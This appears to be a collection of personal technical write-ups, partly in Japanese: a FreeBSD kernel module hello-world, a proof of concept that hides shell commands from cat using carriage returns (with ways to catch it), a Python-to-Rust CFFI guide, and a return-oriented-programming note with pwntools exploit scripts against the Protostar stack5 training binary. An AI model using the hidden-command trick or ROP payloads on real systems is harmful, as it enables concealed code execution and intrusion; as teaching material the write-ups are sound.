switch(cmd) {
case MOD_LOAD:
uprintf("Hello, world!");
break;
case MOD_UNLOAD:
uprintf("Goodbye, cruel world...\n");
break;
default:
error = EOPNOTSUPP;
break;
}
return error;
}
static moduledata_t hello_mod = { "hello", load, NULL };
DECLARE_MODULE(hello, hello_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
proj/chapter01/helloworld/Makefile
KMOD = hello
SRCS = hello.c
.include <bsd.kmod.mk>
ただしコンパイルはVMの方で行います。
$ cd ~/proj/chapter01/helloworld
$ make
[省略...]
$ sudo kldload ./hello.ko
Hello, world!
$ sudo kldunload ./hello.ko
Goodbye, cruel world...
$
ホスト側にソースが更新される際、rsyncで同期されます。結果としてVM側コンパイルアウトプットは消され、綺麗になります。
$ ==> default: Rsyncing folder: 省略/proj/ => /home/vagrant/proj
$ ls
Makefile hello.c
$
File: writeups/unix/hiding-from-cats.md
Hiding from cats
/usr/bin/cat is a tool which reads data from one locations and writes it to another; in most cases, it is used to read text from a file and write it to STDOUT. Cat also supports some control characters, such as line-feeds \f, carriage returns \r, and newlines \n.
Here's a fun little proof-of-concept of how \r could be used to hide shell-script commands from cat:
cmd_h = "echo 'You forgot to check `cat -A`!' > oops" # hidden
cmd_v = "echo 'Hello world!'" # visible
with open("test.sh", "w") as f:
output = "#!/bin/sh\n"
output += cmd_h + ";" + cmd_v + " #\r" + cmd_v + " " * (len(cmd_h) + 3) + "\n"
f.write(output)
This abuses cat's default behavior of rendering carriage return \r characters.
Essentially, a \r will move the cursor back to the beginning of the line, and characters printed thereafter will be written over (overwrite) anything that was printed previously. This is also why we append spaces at the end of the string.
Therefore, when we run cat test.sh:
$ cat test.sh
#!/bin/sh
echo 'Hello world!'
$
However, running the file will really execute:
echo 'You forgot to check `cat -A`!' > oops
echo 'Hello world!'
$ ls
test.sh
$ sh ./test.sh
Hello world!
$ ls
oops test.sh
$ cat oops
You forgot to check `cat -A`!
$
Finally, there are three ways of catching this:
- The filesize of
test.shdoes not match the contents as printed by cat. - Opening the file in an editor, such as
vi,vim, ornano, or a pager likeless. - If we use
cat -A ./test.shinstead, rendering of control characters is disabled:
$ cat -A test.sh
#!/bin/sh$
echo 'You forgot to check `cat -A`!' > oops;echo 'Hello world!' #^Mecho 'Hello world!' $
Unfortunately, when downloading a script from the Internet, most people do not meticulously check the scripts they are running. Of the small percentage of those who do, many rely on /usr/bin/cat to do so. This attack can be used to slip an attack past even those who bother to check the code with cat.
From now on, let's use something safer, such as less, when we review scripts.
File: writeups/unix/python-rust.md
PythonからRust関数を呼び出す方法
はじめに
Python言語の内部にはC言語で作られている部分がありますが、C言語関数をPythonの中から呼び出すために、CFFI(英: C Foreign Function Interface)というモジュールが使われるらしいです。なおRust言語でライブラリを作るときは、C関数としてエクスポートすることが可能なので、Rustの関数もPythonから呼び出すことができるわけです。
今回はPython 3の中からrust言語でコンパイルした関数を呼び出す方法を紹介したいと思います。
準備
Python3とRustがインストールされていることを確認してください。
更に、環境によって、cffiをpipからインストールする必要があるかもしれないので、ご注意ください。
Rust関数作成
例のため、cargoを使わずにしましたが、crateの設定を変えると同じことができます。
#![crate_type = "cdylib"]
#[no_mangle]
pub extern "C" fn add(x: i32, y: i32) -> i32 {
return x + y;
}
crate_type、つまりクレートの種類をC言語の動的ライブラリに設定。続いて整数2つを和を返す関数addを実装します。なお関数の上に#[no_mangle]という文を付けましたが、付けないままにコンパイルしてしまうと、関数名がランダム化されてしまうのです。Pythonから関数を呼び出そうとするときに関数名がわからないと困りますので、エクスポートしたい関数に必ず#[no_mangle]を付けておきましょうね。
$ ls
example.rs
$ rustc example.rs
$ ls -1
example.rs
libexample.so
こうしてlibexample.soが作られました。
Pythonコード作成
次にPythonコードを書いていきます。
#!/usr/bin/env python3
import cffi
ffi = cffi.FFI()
ffi.cdef('''
int add(int x, int y);
''')
lib = ffi.dlopen('./libexample.so')
print(lib.add(5, 7))
ザッと言葉にすると、ffiオブジェクトを宣言し、ライブラリをインポートする前にcdefでインポートしたいC関数を定義しておきます。それからdlopenでライブラリを読み取り、libと名付けてpythonモジュールのように使います。
$ python3 example.py
12
File: writeups/unix/ropping-note.md
はじめに
Return Oriented Programming(ROP)とは、とある関数のスタックフレームの直後を上書きすることで、改竄なコールスタックを作る技術である。行うと、引数を自由に用意することが出来、自由な関数を呼び出すことが出来ます。それに加え、メモリに既に存在している命令を再利用することで、ASLRによるスタック領域の位置のランダム化を迂回できるという利点もあるため、ROPはかなり強い攻撃ですね。
さて、アーキテクチャによりスタック領域にあるコールスタックの形が変わるので、参照のため、以下x86とx86_64のスタック構造を記録しました。
これ以降、Protostar2の「stack5」問題を例問として使っていきます。
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
32ビット上
#!/usr/bin/env python2
from pwn import *
p = process("./stack5")
pop_ebx = 0x0804901e
str_binsh = 0xf7f68b35
addr_system = 0xf7e295a0
addr_exit = 0xf7e1c690
payload = "a" * 0x48 + p32(0x0)
payload += p32(addr_system) + p32(pop_ebx) + p32(str_binsh) # system("/bin/sh")
payload += p32(addr_exit) + p32(pop_ebx) + p32(0x00000000) # exit(0)
p.sendline(payload)
p.interactive()
p.close()
+------------+--+--+--+--+--+--+
| 0xffffd588 | 00 00 00 00 | // ebp
+------------+--+--+--+--+--+--+
| 0xffffd58c | a0 95 e2 f7 | system() // 関数1
| 0xffffd590 | 1e 90 04 08 | pop ebx // ESPを調整する
| 0xffffd594 | 35 8b f6 f7 | /bin/sh // 第一引数
+------------+--+--+--+--+--+--+
| 0xffffd598 | 90 c6 e1 f7 | exit() // 関数2
| 0xffffd59c | 1e 90 04 08 | pop ebx // ESPを調整する
| 0xffffd5a0 | 00 00 00 00 | 0 // 第一引数
+------------+--+--+--+--+--+--+
64ビット上
#!/usr/bin/env python2
from pwn import *
p = process("./stack5")
libc_base = 0x7ffff7dd7000
pop_rdi = libc_base + 0x26542
str_binsh = libc_base + 0x1afb84
addr_system = libc_base + 0x52fd0
addr_exit = libc_base + 0x473c0
payload = "a" * 0x40 + p64(0x0)
payload += p64(pop_rdi) + p64(str_binsh) + p64(addr_system) # system("/bin/sh")
payload += p64(pop_rdi) + p64(0x00000000) + p64(addr_exit) # exit(0)
p.sendline(payload)
p.interactive()
p.close()
+----------------+--+--+--+--+--+--+--+--+--+--+
| 0x7ffffff
*Truncated - read the full file at https://github.com/firebitsbr/Writeups-claudeskills/blob/db01f8ea1415b822a763707e8e902e97174420fb/claudeskills/writeup-d3npa/SKILL.md.*